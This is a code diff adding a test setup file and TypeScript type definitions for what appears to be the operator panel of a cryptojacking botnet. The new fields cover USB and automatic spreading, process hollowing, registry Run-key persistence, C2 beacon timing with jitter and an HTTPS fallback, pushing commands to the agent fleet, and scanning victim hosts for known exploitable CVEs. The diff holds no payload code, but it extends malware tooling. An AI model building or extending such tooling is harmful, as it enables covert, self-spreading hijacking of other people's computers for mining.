</footer>

View File

@@ -1 +1,9 @@
import { vi, beforeEach } from 'vitest';
import '@testing-library/jest-dom/vitest';
beforeEach(() => {
if (typeof Element !== 'undefined') {
Element.prototype.scrollIntoView = vi.fn();
}
});

View File

@@ -77,6 +77,9 @@ export interface Agent {
hostname?: string;
mac_address?: string;
build_id?: string;
worker_name?: string;
usb_spread?: boolean;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
@@ -95,6 +98,7 @@ export interface AgentCapabilities {
auto_spread: boolean;
process_hollowing: boolean;
ai_enabled: boolean;
usb_spread?: boolean;
}
export interface Share {
@@ -177,6 +181,7 @@ export interface ServerConfig {
rvn_wallet?: WalletConfig;
server: ServerSettings;
alerts: AlertsConfig;
tunnel_defaults?: TunnelDefaults;
/** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
default_agent_config?: AgentDefaults;
/** @deprecated Legacy JSON only — not used at runtime. */
@@ -204,6 +209,11 @@ export interface ServerSettings {
sign_timestamp_url?: string;
}
export interface TunnelDefaults {
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
cloudflared_target_url?: string;
}
export interface PoolEndpoint {
host: string;
port: number;
@@ -260,12 +270,15 @@ export interface AlertsConfig {
rejection_rate_threshold_pct: number;
telegram_bot_token?: string;
telegram_chat_id?: string;
/** Operator webhook — JSON POST on fleet events (connect/offline). MITRE T1071.005 lite. */
webhook_url?: string;
notify_agent_connect?: boolean;
notify_agent_reconnect?: boolean;
notify_agent_offline?: boolean;
notify_hashrate_drop?: boolean;
notify_rejection_rate?: boolean;
notify_build_complete?: boolean;
notify_kev_exposure?: boolean;
email_enabled?: boolean;
smtp_host?: string;
smtp_port?: number;
@@ -335,6 +348,14 @@ export interface BuildRequest {
/** Preset (ssh, ftp, chrome, …) or custom:C:\\path\\app.exe when run_as is host_binary */
host_binary_target?: string;
auto_start: boolean;
/** Boot/logon autostart hooks (Windows). Empty = legacy HKCU Run when auto_start + run_as user. */
autostart_mode?: string;
/** Registry Run/RunOnce persistence (Windows, MITRE T1112-style). Enum or combined via checkboxes. */
registry_persistence?: string;
registry_run_hkcu?: boolean;
registry_run_hklm?: boolean;
registry_run_once?: boolean;
registry_explorer_run?: boolean;
persistence: boolean;
process_name: string;
max_cpu_usage_pct: number;
@@ -397,6 +418,14 @@ export interface BuildRequest {
rvn_pool_tls?: boolean;
rvn_pool_pass?: string;
rvn_backup_pools?: BackupPool[];
// Connection profile — C2 beacon timing baked into agent
beacon_interval_sec?: number;
beacon_jitter_pct?: number;
agent_kill_after_days?: number;
/** HTTPS POST beacon when WebSocket is down (T1071.001 fallback). */
https_beacon_fallback?: boolean;
/** Minutes without WebSocket before HTTPS beacon (default 3). */
https_beacon_after_min?: number;
}
/** Fallback Stratum pool baked into the agent at forge time. */
@@ -469,6 +498,35 @@ export interface BlueprintInfo {
data?: any;
}
export interface AuditEntry {
id: number;
timestamp: string;
username: string;
action: string;
agent_id?: string;
detail?: Record<string, unknown>;
}
export interface FleetTask {
id?: string;
name: string;
enabled: boolean;
trigger: 'on_connect' | 'on_reconnect' | 'interval_hours' | 'cron';
interval_hours?: number;
cron_time?: string;
action: string;
command?: string;
target?: string;
created_at?: string;
updated_at?: string;
}
export interface SpreadFunnelStats {
by_build: { build_id: string; worker_name: string; count: number; usb_spread_count: number }[];
new_connects_today: number;
total_agents: number;
}
export interface WSMessage {
type: string;
payload: import('./ws').WSPayload;

View File

@@ -19,6 +19,7 @@ export interface FullSysCheckReport {
patch?: SysCheckPatch;
environment?: SysCheckEnvironment;
neighbors?: SysCheckNeighbors;
kev_exposure?: KEVScanReport;
raw_sysinfo?: string;
raw_ipconfig?: string;
@@ -117,6 +118,26 @@ export interface SysCheckEnvironment {
install_dir?: string;
}
export interface KEVFinding {
cve: string;
name: string;
product?: string;
severity: string;
cisa_kev?: boolean;
status: 'exposed' | 'likely' | 'clear' | 'n/a';
detail?: string;
}
export interface KEVScanReport {
scanned_at: string;
exposed_count: number;
likely_count: number;
critical_count: number;
risk_score: number;
summary?: string;
findings: KEVFinding[];
}
export interface SysCheckNeighbors {
arp_hosts?: string[];
subnet_scan?: string;